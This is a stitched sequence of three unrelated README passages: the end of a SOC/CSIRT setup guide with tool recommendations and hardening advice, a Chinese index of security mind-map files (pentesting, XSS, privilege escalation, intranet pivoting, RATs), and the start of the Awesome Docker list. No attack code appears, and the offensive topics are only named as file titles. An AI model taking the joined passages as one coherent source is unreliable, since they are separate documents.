* MyFaberSecurity, [MS Sentinel architecture and recommendations for MSSP](https://myfabersecurity.com/2023/03/31/sentinel-poc-architecture-and-recommendations-for-mssps-part-1/)
* Gartner, [PAM Magic Quadrant reprint](https://www.gartner.com/doc/reprints?id=1-2AMZ88JO&ct=220721&st=sb)
* Rawsec, [Tools inventory](https://inventory.raw.pm/tools.html)
* Microsoft, [command line reference](https://cmd.ms/)
* [SOCTOM](https://soc-cmm.com/downloads/SOCTOM%20whitepaper.pdf)
## SOC sensors, nice to have
* (full-featured) Honeypot:
* My recommendation: [Canary.tools](https://canary.tools/)
* Or, have a look at (Awesome honeypots Git](https://github.com/paralax/awesome-honeypots)
* NIDS:
* My recommendation: [Crowdsec](https://www.crowdsec.net/product/crowdsec-security-engine)
* Phishing and brand infringement protection (domain names):
* My recommendation: [PhishLabs](https://www.phishlabs.com/), [Netcraft](https://www.netcraft.com/cybercrime/fraud-detection/)
* NDR:
* My recommendation: [Gatewatcher](https://www.gatewatcher.com/en/our-solutions/trackwatch/)
* MDM:
* My recommendation: [Microsoft Intune](https://docs.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
* DLP:
* See [Gartner reviews and ratings](https://www.gartner.com/reviews/market/data-loss-prevention)
* OT (industrial) NIDS:
* My recommendation: [Nozomi Guardian](https://www.nozominetworks.com/products/guardian/)
* Network TAP:
* My recommendation: [Gigamon](https://www.gigamon.com/products/access-traffic/network-taps.html)
* Mobile network security (2G/3G):
* My recommendation: Dust Mobile.
## Harden SOC/CSIRT environment
* Implement hardening measures on SOC workstations, servers, and IT services that are used (if possible).
* e.g.: [CIS](https://www.cisecurity.org/), [Microsoft Security Compliance Toolkit](https://www.microsoft.com/en-us/download/details.aspx?id=55319)
* Put the SOC assets in a separate AD forest, as [forest is the AD security boundary](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/gathering-information-about-your-active-directory-deployment), for isolation purposes, in case of a global enterprise's IT compromise
* Create/provide a disaster recovery plan for the SOC assets and resources.
* Implement admin bastions and silo to administrate the SOC env (equipments, servers, endpoints):
* My advice: consider the SOC environment as to be administrated by **Tier 1**, if possible with a dedicated admin bastion. Here is a generic drawing from Wavestone's article (see Must read references): 
* Recommended technology choices: [Wallix PAM](https://www.wallix.com/privileged-access-management/)
* Implement a [level 3 of network segmentation](https://github.com/sergiomarotco/Network-segmentation-cheat-sheet#level-3-of-network-segmentation-high-adoption-of-security-practices)
# Appendix
## License
[CC-BY-SA](https://en.wikipedia.org/wiki/Creative_Commons_license)
## Special thanks
Yann F., Wojtek S., Nicolas R., Clément G., Alexandre C., Jean B., Frédérique B., Pierre d'H., Julien C., Hamdi C., Fabien L., Michel de C., Gilles B., Olivier R., Jean-François L., Fabrice M., Pascal R., Florian S., Maxime P., Pascal L., Jérémy d'A., Olivier C. x2, David G., Guillaume D., Patrick C., Lesley K., Gérald G., Jean-Baptiste V., Antoine C. ...
|
# SecMind
### 0x01 简介描述
收集网络安全相关思维导图，对一些导图进行筛选过滤、归类聚合后整理的一份自己的安全导图集合。导图的收集小部分来源于平时收藏夹、大部分来源于以下仓库，如有侵权，联系我进行删除，同时也希望可以汇聚大家的资源信息，有不错的思维导图可以通过issue进行添加。
```
https://github.com/Al1ex/Information-Security
https://github.com/Ascotbe/HackerMind
https://github.com/mrknow001/Mind_Map
https://github.com/xiachong404/sec-chart
https://github.com/SRW-OG/mindmap
https://github.com/Depth-/Mind-Map
https://github.com/line2222/The-Mind-Map
https://github.com/ixinshang/SafetyMap
https://github.com/SecWiki/sec-chart
https://github.com/phith0n/Mind-Map
```
### 0x02 更新记录
- 2019-08-10 v0.1
- 建立仓库，空空如也 - -!
- 2021-03-19 v0.2
- 整理文件，顺道分享 0.0
```
├── 01 Web安全
│ ├── JavaWeb简介.png
│ ├── JavaWeb应用安全.png
│ ├── SSRF漏洞挖掘思维导图.jpg
│ ├── Web安全.png
│ ├── Web应用安全.jpg
│ ├── Web安全实战.png
│ ├── Web前端攻击树.jpg
│ ├── Web常见漏洞脑图.png
│ ├── Web指纹分析方法.png
│ ├── XML安全汇总.png
│ ├── XSS利用架构图.jpg
│ ├── XSS攻击点汇总.png
│ ├── web应用测试.jpg
│ ├── xss virus 1.0.png
│ ├── 风控.png
│ ├── 逻辑漏洞.png
│ ├── 业务安全top10.png
│ ├── 社会工程学.jpg
│ ├── 业务安全脑图.jpg
│ ├── 域名搜集途径.png
│ ├── 业务安全测试点.jpg
│ ├── 业务安全测试关键点.jpg
│ └── 密码找回逻辑漏洞总结.png
├── 02 红蓝对抗
│ ├── 01 渗透测试
│ │ ├── WEB渗透.xmind
│ │ ├── pentester.jpg
│ │ ├── web渗透.jpg
│ │ ├── 渗透标准.jpg
│ │ ├── 渗透流程.jpg
│ │ ├── 渗透测试.jpg
│ │ ├── 攻击路线.png
│ │ ├── 渗透测试.png
│ │ ├── 进阶渗透.png
│ │ ├── 渗透测试.xmind
│ │ ├── 网站入侵图.jpg
│ │ ├── 渗透测试之道.jpg
│ │ ├── 渗透测试流程.jpg
│ │ ├── 行业渗透测试.png
│ │ ├── 常见的测试类型.jpg
│ │ ├── 渗透测试实验室.jpg
│ │ └── 渗透测试详细版.jpg
│ ├── 02 漏洞挖掘
│ │ ├── DB专项.png
│ │ ├── web漏洞挖洞思路.xmind
│ │ ├── 区块链
│ │ │ ├── WechatIMG5039.jpeg
│ │ │ ├── blockchain.png
│ │ │ ├── 区块链.jpeg
│ │ │ ├── 区块链安全.jpeg
│ │ │ ├── 区块链作恶.png
│ │ │ ├── 区块链生态圈.jpeg
│ │ │ ├── 区块链安全攻防简图 .jpg
│ │ │ └── 区块链技术指南—密码学与安全技术.png
│ │ ├── 安全漏洞总结.jpg
│ │ ├── 金融安全脑图.jpg
│ │ └── 浏览器安全思维导图.jpg
│ └── 03 安全工具
│ ├── Maltego使用导图.jpg
│ ├── Nmap 思维导图.png
│ ├── SQLmap脑图.jpg
│ ├── SQLmap参数全解.jpg
│ ├── nmap.jpg
│ ├── nmap渗透测试指南.png
│ ├── powershell语法.png
│ ├── 信息收集.png
│ ├── 手工测试.png
│ ├── 自动化测试.png
│ └── 渗透测试工具.png
├── 03 代码审计
│ ├── PHP代码审计.png
│ └── Python代码审计.jpg
├── 04 内网渗透
│ ├── Jboss引起的内网渗透.png
│ ├── Windows提权.jpg
│ ├── Windows常见持久控制.png
│ ├── web-内网基本流程小结.jpg
│ ├── 内网收集.jpg
│ ├── 内网转发.png
│ ├── 内网渗透思维导图.png
│ └── 内网渗透攻击线路图.png
├── 05 无线安全
│ ├── WiFi渗透流程.png
│ ├── 无线电.jpg
│ └── 无线安全.jpg
├── 05 移动安全
│ ├── Android 取证.jpeg
│ ├── android_windows_恶意病毒发展史.png
│ ├── apk攻防.png
│ ├── iOS应用审计系统.png
│ ├── 安卓APP审计系统.jpg
│ ├── 移动APP漏洞检测平台.png
│ └── 安卓安全.png
├── 07 逆向工程
│ ├── A-Study-of-RATs.jpg
│ ├── Vulnerability-Exploit-Fuzz-Mitigation-v1.4.mmap
│ ├── Windows_Hacker学习路线图.jpg
│ ├── arm-asm-cheatsheetv.png
│ ├── cheat sheet reverse v5.png
│ ├── 加解密算法.png
│ ├── 计算机病毒.png
│ ├── 入门二进制漏洞分析脑图.png
│ └── 缓冲区溢出攻击与防御技术.png
├── 08 硬件工控
│ ├── CSA物联网安全指南.png
│ ├── IoT产品安全评估.png
│ ├── 智能设备.png
│ ├── 物联网安全--梆梆安全.png
│ ├── 工控安全案例.pdf
│ ├── 智能硬件安全.png
│ ├── 物联网安全系列-绿盟.png
│ ├── 物联网安全综述-绿盟.png
│ ├── 工控安全防护体系.png
│ ├── 物联网和互联网对比-绿盟.png
│ ├── 工控系统安全及应对.jpg
│ ├── 物联网与互联网对比.png
│ └── 物联网设备安全分析.png
├── 09 运维安全
│ ├── 企业安全防御.png
│ ├── IDC主机安全.png
│ ├── Web服务器入侵防御.jpg
│ ├── 信息安全.jpg
│ ├── 数据库安全.jpg
│ ├── 办公室安全.png
│ ├── 安全运维脑图.png
│ ├── 安全运维风险.png
│ ├── 扫描与防御技术.png
│ ├── 安全加固服务流程.jpg
│ ├── 系统端口审计琐事.jpg
│ ├── 口令破解与防御技术.png
│ ├── 木马攻击与防御技术.png
│ ├── 欺骗攻击与防御技术.png
│ ├── 网络监听与防御技术.png
│ └── 拒绝服务攻击与防御技术.png
├── 10 安全建设
│ ├── 01 等保测评
│ │ ├── 等保内容.jpg
│ │ ├── 非涉密信息系统等级保护.jpg
│ │ └── 信息系统等级保护实施指南思维导图.jpg
│ ├── 02 体系架构
│ │ ├── SAE运维体系.jpg
│ │ ├── TCP_IP参考模型的安全协议分层.jpg
│ │ ├── Web安全体系建设.png
│ │ ├── 外网web安全.png
│ │ ├── 网站架构.jpg
│ │ ├── 运维安全.png
│ │ ├── 入侵感知体系.jpg
│ │ ├── 运维职业技术点.jpg
│ │ ├── 应急响应系统建设.jpeg
│ │ ├── 互联网企业安全建设.png
│ │ ├── 企业安全建设技能树v1.0.png
│ │ ├── 企业内网准入控制规划.jpg
│ │ ├── 信息安全分层逻辑模型.jpg
│ │ ├── 网游安全运营管理体系.jpg
│ │ ├── 信息系统整体安全生命周期设计.jpg
│ │ └── 人民银行“三三二一”总体技术框架.jpg
│ ├── 03 制度规范
│ │ ├── SIEM系统的结构图.jpg
│ │ ├── WPDRRC模型.jpg
│ │ ├── 安全事件.jpg
│ │ ├── 安全管理制度.jpg
│ │ ├── 信息安全管理.png
│ │ ├── 网络安全绪论.png
│ │ ├── 安全工作要点v0.2.jpeg
│ │ ├── 网络与基础架构图.jpg
│ │ ├── 层次化网络设计案例.jpg
│ │ └── 重大社会活动期间信息安全保障工作.png
│ └── 04 行业产品
│ ├── 2019-安全产品一览.png
│ ├── 安全产业链图.png
│ ├── 网络安全全景图.jpg
│ └── 中国网络安全产品分类及全景图2019H1_v1.1.jpg
├── 11 应急溯源
│ ├── 01 应急响应
│ │ └── 应急响应总结思维导图.png
│ ├── 02 攻击溯源
│ │ ├── 溯源方法.png
│ │ └── 黑客入侵行为分析.gif
│ ├── 03 恶意分析
│ │ ├── APT 攻击.png
│ │ ├── APT攻击技术学习指南 v1.0.pdf
│ │ ├── APT攻防指南基本思路v1.0-SecQuan.png
│ │ ├── MaliciousCodeAnalysis.jpg
│ │ ├── 透视APT.pdf
│ │ ├── 深度分析.jpg
│ │ ├── 发现与影响评估.jpg
│ │ ├── 网络攻击与防御图谱.jpeg
│ │ └── 网络攻击与防范图谱.jpeg
│ ├── 04 威胁情报
│ │ ├── 2017_ExploitKits.png
│ │ ├── Unnamed file.jpg
│ │ ├── workflow_email.png
│ │ ├── 情报分析.jpg
│ │ ├── 黑色产业.jpg
│ │ ├── 威胁建模.png
│ │ ├── 威胁情报产品能力.jpg
│ │ └── 黑色产业链示意图.pdf
│ ├── 05 数据分析
│ │ ├── 数据安全风险.png
│ │ ├── 数据安全与防护.png
│ │ ├── 天融信大数据分析平台.jpg
│ │ └── 大数据安全分析工作梳理.jpg
│ └── 06 调查取证
│ ├── 诈骗取证.jpg
│ └── 常见电信诈骗分类.jpg
├── 12 安全开发
│ ├── ES核心知识.jpg
│ ├── LAMPer技能树.jpeg
│ ├── Linux检查脚本.jpeg
│ ├── Python 知识点.jpg
│ ├── QM--Python.png
│ ├── python_regrex.png
│ ├── python正则表达式.png
│ ├── 机器学习
│ │ ├── 00统计-导图概览.png
│ │ ├── 01描述性统计： 表格和图形法.png
│ │ ├── 02描述性统计：数值方法.png
│ │ ├── 03概率.png
│ │ ├── 04概率分布.png
│ │ ├── 05抽样分布.png
│ │ ├── 06区间估计.png
│ │ ├── 07假设检验.png
│ │ ├── 08两总体均值& 比例的推断.png
│ │ ├── 09总体方差的统计推断.png
│ │ ├── 10多个比率的比较 独立性 拟合优度检验.png
│ │ ├── 11实验设计 方差分析.png
│ │ ├── 12简单线性回归.png
│ │ ├── 13残差分析.png
│ │ ├── 14多元回归.png
│ │ ├── 15回归分析.png
│ │ ├── 16时间序列分析及预测.png
│ │ ├── 17非参数方法.png
│ │ ├── AI 与安全.jpeg
│ │ ├── Cyber-Analytics-Based-on-Models-Algorithms-V2-1024x555.webp
│ │ ├── kaggle-特征工程.png
│ │ ├── machine-learning-map.png
│ │ ├── 机器学习 .png
│ │ ├── 人工智能.jpg
│ │ ├── 数学基础.jpg
│ │ ├── 机器学习.jpg
│ │ ├── 深度学习.jpg
│ │ ├── 算法选择.jpg
│ │ ├── 安全三象限.jpg
│ │ ├── 机器学习算法地图.jpg
│ │ └── 深度防御安全模型7层安全.jpg
│ ├── 爬虫技能树-总览图1.png
│ └── 数据库技术.jpg
├── 13 综合其他
│ ├── 2018年信息安全从业者书单推荐.jpg
│ ├── 技能图谱
│ │ ├── Android软件安全工程师技能表.png
│ │ ├── Container技能图谱.png
│ │ ├── Hadoop家族技能图谱.png
│ │ ├── IOS开发工程师必备技能.png
│ │ ├── Knownsec_RD_Checklist_v3.1
│ │ ├── OpenResty.png
│ │ ├── PTES_MindMap_CN1.pdf
│ │ ├── Web安全工程师学习路线图.png
│ │ ├── iOS软件安全工程师技能表.png
│ │ ├── macOS软件安全工程师技能表.png
│ │ ├── 习科技能表.jpg
│ │ ├── 安全技能树.png
│ │ ├── 安全人员技术要求.jpg
│ │ ├── 程序开发语言综述.png
│ │ ├── 数据科学家发展图谱.jpeg
│ │ ├── 信息安全从业者规划.jpg
│ │ ├── 前端工程师必备技能.png
│ │ ├── 安全工程师必备技能.png
│ │ ├── 嵌入式开发必备技能.png
│ │ ├── 微服务架构技能图谱.png
│ │ ├── 运维工程师必备技能.png
│ │ ├── 信息安全相关会议期刊.jpg
│ │ ├── 云计算工程师必备技能.png
│ │ └── 大数据工程师必备技能.png
│ ├── 提问的智慧.jpg
│ ├── 横向领导力.png
│ └── 个人知识管理工具软件.jpg
└── README.md
``` |
# Awesome Docker [][sindresorhus] [](https://app.netlify.com/sites/awesome-docker/deploys)<!-- omit in toc -->
> A curated list of Docker resources and projects
If you would like to contribute, please read [CONTRIBUTING.md][contributing] first.
It contains a lot of tips and guidelines to help keep things organized.
Just click [README.md][editreadme] to submit a [pull request][editreadme].
If this list is not complete, you can [contribute][editreadme] to make it so. Here is a great video tutorial to learn how to [contribute on Github](https://egghead.io/lessons/javascript-identifying-how-to-contribute-to-an-open-source-project-on-github).
**_You can see the updates on [TWITTER](https://twitter.com/awesome_docker)_**
> **Please**, help organize these resources so that they are _easy to find_ and _understand_ for newcomers. See how to **[Contribute][contributing]** for tips!
**_If you see a link here that is not (any longer) a good fit, you can fix it by submitting a [pull request][editreadme] to improve this file. Thank you!_**
The creators and maintainers of this list do not receive any form of payment to accept a change made by any contributor. This page is not an official Docker product in any way. It is a list of links to projects and is maintained by volunteers. Everybody is welcome to contribute. The goal of this repo is to index open-source projects, not to advertise for profit.
All the links are monitored and tested with a home baked [Node.js script](https://github.com/veggiemonk/awesome-docker/blob/master/.github/workflows/pull_request.yml)
# Contents <!-- omit in toc -->
<!-- TOC -->
- [Legend](#legend)
- [What is Docker](#what-is-docker)
- [Where to start](#where-to-start)
- [Where to start (Windows)](#where-to-start-windows)
- [Projects](#projects)
- [Container Operations](#container-operations)
- [Container Composition](#container-composition)
- [Deployment and Infrastructure](#deployment-and-infrastructure)
- [Monitoring](#monitoring)
- [Networking](#networking)
- [Orchestration](#orchestration)
- [PaaS](#paas)
- [Reverse Proxy](#reverse-proxy)
- [Runtime](#runtime)
- [Security](#security)
- [Service Discovery](#service-discovery)
- [Volume Management / Data](#volume-management--data)
- [User Interface](#user-interface)
- [IDE integrations](#ide-integrations)
- [Desktop](#desktop)
- [Terminal](#terminal)
- [Terminal UI](#terminal-ui)
- [CLI tools](#cli-tools)
- [Other](#other)
- [Web](#web)
- [Docker Images](#docker-images)
- [Base Tools](#base-tools)
- [Builder](#builder)
- [Dockerfile](#dockerfile)
- [Linter](#linter)
- [Metadata](#metadata)
- [Registry](#registry)
- [Development with Docker](#development-with-docker)
- [API Client](#api-client)
- [CI/CD](#cicd)
- [Development Environment](#development-environment)
- [Garbage Collection](#garbage-collection)
- [Serverless](#serverless)
- [Testing](#testing)
- [Wrappers](#wrappers)
- [Services based on Docker (mostly :heavy\_dollar\_sign:)](#services-based-on-docker-mostly-heavy_dollar_sign)
- [CI Services](#ci-services)
- [CaaS](#caas)
- [Monitoring Services](#monitoring-services)
- [Useful Resources](#useful-resources)
- [Awesome Lists](#awesome-lists)
- [Demos and Examples](#demos-and-examples)
- [Good Tips](#good-tips)
- [Raspberry Pi \& ARM](#raspberry-pi--arm)
- [Security](#security-1)
- [Videos](#videos)
- [Communities and Meetups](#communities-and-meetups)
- [Brazilian](#brazilian)
- [Chinese](#chinese)
- [English](#english)
- [Russian](#russian)
- [Spanish](#spanish)
- [Stargazers over time](#stargazers-over-time)
- [Contributor over time](#contributor-over-time)
<!-- /TOC -->
# Legend
- Abandoned :skull:
- Beta :construction:
- Monetized :heavy_dollar_sign:
# What is Docker
> Docker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud.
_Source:_ [What is Docker](https://www.docker.com/why-docker/)
# Where to start
- [Benefits of using Docker](https://semaphoreci.com/blog/docker-benefits) for development and delivery, with a practical roadmap for adoption.
- [Bootstrapping Microservices](https://www.manning.com/books/bootstrapping-microservices-with-docker-kubernetes-and-terraform) by [Ashley Davis](https://twitter.com/ashleydavis75) - A practical and project-based guide to building applications with microservices, starts by building a Docker image for a single microservice and publishing it to a private container registry, finishes by deploying a complete microservices application to a production Kubernetes cluster.
- [Docker Curriculum](https://github.com/prakhar1989/docker-curriculum): A comprehensive tutorial for getting started with Docker. Teaches how to use Docker and deploy dockerized apps on AWS with Elastic Beanstalk and Elastic Container Service.
- [Docker Documentation](https://docs.docker.com/): the official documentation.
- [Docker for beginners](https://github.com/groda/big_data/blob/master/docker_for_beginners.md): A tutorial for beginners who need to learn the basics of Docker—from "Hello world!" to basic interactions with containers, with simple explanations of the underlying concepts.
- [Docker for novices](https://www.youtube.com/watch?v=xsjSadjKXns) An introduction to Docker for developers and testers who have never used it. (Video 1h40, recorded linux.conf.au 2019 — Christchurch, New Zealand) by Alex Clews.
- [Docker Latest Tutorial](https://www.techgeekbuzz.com/tutorial/docker/what-is-docker/) — This is a series of latest docker tutorial, where you can learn what is docker, docker lifecycle, how to run Nginx Web Server in Docker?, how to run mysql on docker container, how to use Python on doceker and many other important topics.
- [Docker simplified in 55 seconds](https://www.youtube.com/watch?v=vP_4DlOH1G4): An animated high-level introduction to Docker. Think of it as a visual tl;dr that makes it easier to dive into more complex learning materials.
- [Docker Training](https://training.mirantis.com) :heavy_dollar_sign:
- [Docker Tutorial for Beginners (Updated 2019 version)](https://hashnode.com/post/docker-tutorial-for-beginners-cjrj2hg5001s2ufs1nker9he2) — In this Docker tutorial, you'll learn all the basics and learn how you can containerize Node.js and Go applications. Even if you aren't familiar with these languages it should be easy for you to follow this tutorial and use any other language.
- [Learn Docker](https://github.com/dwyl/learn-docker): step-by-step tutorial and more resources (video, articles, cheat sheets) by [@dwyl](https://github.com/dwyl)
- [Play With Docker](https://training.play-with-docker.com/): PWD is a great way to get started with Docker from beginner to advanced users. Docker runs directly in your browser.
- [Practical Guide about Docker Commands in Spanish](https://github.com/brunocascio/docker-espanol) This spanish guide contains the use of basic docker commands with real life examples.
- [Practical Introduction to Container Terminology](https://developers.redhat.com/blog/2018/02/22/container-terminology-practical-introduction) The landscape for container technologies is larger than just docker. Without a good handle on the terminology, It can be difficult to grasp the key differences between docker and (pick your favorites, CRI-O, rkt, lxc/lxd) or understand what the Open Container Initiative is doing to standardize container technology.
- [The Docker Handbook](https://docker-handbook.farhan.dev/) An open-source book that teaches you the fundamentals, best practices and some intermediate Docker functionalities. The book is hosted on [fhsinchy/the-docker-handbook](https://github.com/fhsinchy/the-docker-handbook) and the projects are hosted on [fhsinchy/docker-handbook-projects](https://github.com/fhsinchy/docker-handbook-projects) repository.
**Cheatsheets** by
- [@eon01](https://github.com/eon01/DockerCheatSheet)
- [@dimonomid](https://github.com/dimonomid/docker-quick-ref) (PDF)
- [@JensPiegsa](https://github.com/JensPiegsa/docker-cheat-sheet)
- [@wsargent](https://github.com/wsargent/docker-cheat-sheet) (Most popular)
# Where to start (Windows)
- [A Comparative Study of Docker Engine on Windows Server vs Linux Platform](https://collabnix.com/a-comparative-study-of-docker-engine-on-windows-server-vs-linux-platform/) Comparing the feature sets and implementations of Docker on Windows and Linux
- [Docker on Windows behind a firewall](https://toedter.com/2015/05/11/docker-on-windows-behind-a-firewall/) by [@kaitoedter](https://twitter.com/kaitoedter)
- [Docker Quick Tutorial](https://vegibit.com/docker-quick-tutorial/) Introduces you to the official Getting Started Tutorial using Windows 10 and Hyper-V.
- [Docker Reference Architecture: Modernizing Traditional .NET Framework Applications](https://docs.mirantis.com/containers/v3.0/dockeree-ref-arch/app-dev/modernize-dotnet-apps.html) - You will learn to identify the types of .NET Framework applications that are good candidates for containerization, the "lift-and-shift" approach to containerization.
- [Docker with Microsoft SQL 2016 + ASP.NET](https://blog.alexellis.io/docker-does-sql2016-aspnet/) Demonstration running ASP.NET and SQL Server workloads in Docker
- [Exploring ASP.NET Core with Docker in both Linux and Windows Containers](https://www.hanselman.com/blog/exploring-aspnet-core-with-docker-in-both-linux-and-windows-containers) Running ASP.NET Core apps in Linux and Windows containers, using [Docker for Windows][docker-for-windows]
- [Running a Legacy ASP.NET App in a Windows Container](https://blog.sixeyed.com/dockerizing-nerd-dinner-part-1-running-a-legacy-asp-net-app-in-a-windows-container/) Steps for Dockerizing a legacy ASP.NET app and running as a Windows container
- [Windows Containers and Docker: The 101](https://www.youtube.com/watch?v=N7SG2wEyQtM) :movie_camera: - A 20-minute overview, using Docker to run PowerShell, ASP.NET Core and ASP.NET apps
- [Windows Containers Quick Start](https://learn.microsoft.com/en-us/virtualization/windowscontainers/about/) Overview of Windows containers, drilling down to Quick Starts for Windows 10 and Windows Server 2016
---
# Projects
- Moby = open source development
- Docker CE = free product release based on Moby
- Docker EE = commercial product release based on Docker CE.
> Docker EE is on the same code base as Docker CE, so also built from Moby, with commercial components added, such as "docker data center / universal control plane"
- [Moby](https://github.com/moby/moby)
- [Docker Images](https://hub.docker.com)
- [Docker Compose](https://github.com/docker/compose/) (Define and run multi-container applications with Docker)
- [Docker Machine](https://github.com/docker/machine) (Machine management for a container-centric world)
- [Docker Registry][distribution] (The Docker toolset to pack, ship, store, and deliver content)
- [Docker Swarm](https://github.com/docker/swarm) (Swarm: a Docker-native clustering system)
## Container Operations
### Container Composition
- [bocker](https://github.com/icy/bocker) (2) :skull: - Write Dockerfile completely in Bash. Extensible and simple. --> Reusable by [@icy](https://github.com/icy)
- [bocker](https://github.com/p8952/bocker) (1) :skull: - Docker implemented in 100 lines of bash by [p8952](https://github.com/p8952)
- [box](https://github.com/box-builder/box) :skull: - Build Dockerfile images with a mruby DSL, includes flattening and layer manipulation
- [Capitan](https://github.com/byrnedo/capitan) - Composable docker orchestration with added scripting support by [@byrnedo].
- [compose_plantuml](https://github.com/funkwerk/compose_plantuml) :skull: - Generate Plantuml graphs from docker-compose files by [@funkwerk](https://github.com/funkwerk)
- [Composerize](https://github.com/magicmark/composerize) - Convert docker run commands into docker-compose files
- [crowdr](https://github.com/polonskiy/crowdr) - Tool for managing multiple Docker containers (`docker-compose` alternative) by [@polonskiy](https://github.com/polonskiy/)
- [ctk](https://github.com/ctk-hq/ctk) :construction: - Visual composer for container based workloads. By [@corpulent](https://github.com/corpulent)
- [docker-compose-graphviz](https://github.com/abesto/docker-compose-graphviz) :skull: - Turn a docker-compose.yml files into Graphviz .dot files by [@abesto](https://github.com/abesto)
- [docker-config-update](https://github.com/sudo-bmitch/docker-config-update) - Utility to update docker configs and secrets for deploying in a compose file by [@sudo-bmitch](https://github.com/sudo-bmitch)
- [draw-compose](https://github.com/Alexis-benoist/draw-compose) :skull: - Utility to draw a schema of a docker compose by [@Alexis-benoist](https://github.com/Alexis-benoist)
- [elsy](https://github.com/cisco/elsy) - An opinionated, multi-language, build tool based on Docker and Docker Compose
- [habitus](https://github.com/cloud66-oss/habitus) - A Build Flow Tool for Docker by [@cloud66](https://github.com/cloud66)
- [kompose](https://github.com/kubernetes/kompose) - Go from Docker Compose to Kubernetes
- [Maestro](https://github.com/toscanini/maestro) :skull: - Maestro provides the ability to easily launch, orchestrate and manage multiple Docker containers as single unit by [@tascanini](https://github.com/toscanini)
- [percheron](https://github.com/ashmckenzie/percheron) :skull: - Organise your Docker containers with muscle and intelligence by [@ashmckenzie](https://github.com/ashmckenzie)
- [plash](https://github.com/ihucos/plash) - A container run and build engine - runs inside docker.
- [podman-compose](https://github.com/containers/podman-compose) - a script to run docker-compose.yml using podman by [@containers][containers]
- [rocker-compose](https://github.com/grammarly/rocker-compose) :skull: - Docker composition tool with idempotency features for deploying apps composed of multiple containers. By[@grammarly].
- [rocker](https://github.com/grammarly/rocker) :skull: - Extended Dockerfile builder. Supports multiple FROMs, MOUNTS, templates, etc. by [@grammarly].
- [Smalte](https://github.com/roquie/smalte) – Dynamically configure applications that require static configuration in docker container. By [@roquie](https://github.com/roquie)
- [Stacker](https://github.com/stacker/stacker-cli) :skull: - Docker Compose Templates. Stacker provides an abstraction layer over Docker Compose and a better DX (developer experience).
- [Stitchocker](https://github.com/alexaandrov/stitchocker) - A lightweight and fast command line utility for conveniently grouping your docker-compose multiple container services. By [@alexaandrov](https://github.com/alexaandrov)
- [Zodiac](https://github.com/CenturyLinkLabs/zodiac) :skull: - A lightweight tool for easy deployment and rollback of dockerized applications. By [@CenturyLinkLabs][centurylinklabs]
### Deployment and Infrastructure
- [awesome-stacks](https://github.com/ethibox/awesome-stacks) - Deploy 80+ open-source web apps with one Docker command
- [blackfish](https://gitlab.com/blackfish/blackfish) - a CoreOS VM to build swarm clusters for Dev & Production by [@blackfish](https://gitlab.com/blackfish/)
- [BosnD](https://gitlab.com/n0r1sk/bosnd) - BosnD, the boatswain daemon - A dynamic configuration file writer & service reloader for dynamically changing container environments.
- [Centurion](https://github.com/newrelic/centurion) - Centurion is a mass deployment tool for Docker fleets. It takes containers from a Docker registry and runs them on a fleet of hosts with the correct environment variables, host volume mappings, and port mappings. By [@newrelic](https://github.com/newrelic)
- [Clocker](https://github.com/brooklyncentral/clocker) - Clocker creates and manages a Docker cloud infrastructure. Clocker supports single-click deployments and runtime management of multi-node applications that run as containers distributed across multiple hosts, on both Docker and Marathon. It leverages [Calico][calico] and [Weave][weave] for networking and [Brooklyn](https://brooklyn.apache.org/) for application blueprints. By [@brooklyncentral](https://github.com/brooklyncentral)
- [Conduit](https://github.com/ehazlett/conduit) - Experimental deployment system for Docker by [@ehazlett](https://github.com/ehazlett)
- [depcon](https://github.com/ContainX/depcon) - Depcon is written in Go and allows you to easily deploy Docker containers to Apache Mesos/Marathon, Amazon ECS and Kubernetes. By [@ContainX][containx]
- [deploy](https://github.com/ttiny/deploy) :skull: - Git and Docker deployment tool. A middle ground between simple Docker composition tools and full blown cluster orchestration by [@ttiny](https://github.com/ttiny)
- [dockit](https://github.com/humblec/dockit) :skull: - Do docker actions and Deploy gluster containers! By [@humblec](https://github.com/humblec)
- [gitkube](https://github.com/hasura/gitkube) - Gitkube is a tool for building and deploying docker images on Kubernetes using `git push`. By [@Hasura](https://github.com/hasura/).
- [Grafeas](https://github.com/grafeas/grafeas) - A common API for metadata about containers, from image and build details to security vulnerabilities. By [grafeas](https://github.com/grafeas)
- [Longshoreman](https://github.com/longshoreman/longshoreman) :skull: - Longshoreman automates application deployment using Docker. Just create a Docker repository (or use a service), configure the cluster using AWS or Digital Ocean (or whatever you like) and deploy applications using a Heroku-like CLI tool. By [longshoreman](https://github.com/longshoreman)
- [SwarmManagement](https://github.com/hansehe/SwarmManagement) - Swarm Management is a python application, installed with pip. The application makes it easy to manage a Docker Swarm by configuring a single yaml file describing which stacks to deploy, and which networks, configs or secrets to create.
- [werf](https://github.com/werf/werf) - werf is a CI/CD tool for building Docker images efficiently and deploying them to Kubernetes using GitOps by [@flant](https://github.com/flant)
### Monitoring
- [Autoheal](https://github.com/willfarrell/docker-autoheal) - Monitor and restart unhealthy docker containers automatically.
- [Axibase Collector](https://github.com/axibase/docker-axibase-collector) - Axibase Collector streams performance counters, configuration changes and lifecycle events from the Docker engine(s) into Axibase Time Series Database for roll-up dashboards and integration with upstream monitoring systems.
- [cAdvisor](https://github.com/google/cadvisor) - Analyzes resource usage and performance characteristics of running containers. Created by [@Google][google]
- [Docker-Alertd](https://github.com/deltaskelta/docker-alertd) - Monitor and send alerts based on docker container resource usage/statistics
- [Docker-Flow-Monitor](https://github.com/docker-flow/docker-flow-monitor) - Reconfigures Prometheus when a new service is updated or deployed automatically by [@docker-flow][docker-flow]
- [Dockerana](https://github.com/dockerana/dockerana) :skull: - packaged version of Graphite and Grafana, specifically targeted at metrics from Docker.
- [DockProc](https://gitlab.com/n0r1sk/dockproc) - I/O monitoring for containers on processlevel.
- [dockprom](https://github.com/stefanprodan/dockprom) - Docker hosts and containers monitoring with Prometheus, Grafana, cAdvisor, NodeExporter and AlertManager by [@stefanprodan](https://github.com/stefanprodan)
- [Doku](https://github.com/amerkurev/doku) - Doku is a simple web-based application that allows you to monitor Docker disk usage. [@amerkurev](https://github.com/amerkurev)
- [Dozzle](https://github.com/amir20/dozzle) - Monitor container logs in real-time with a browser or mobile device. [@amir20](https://github.com/amir20)
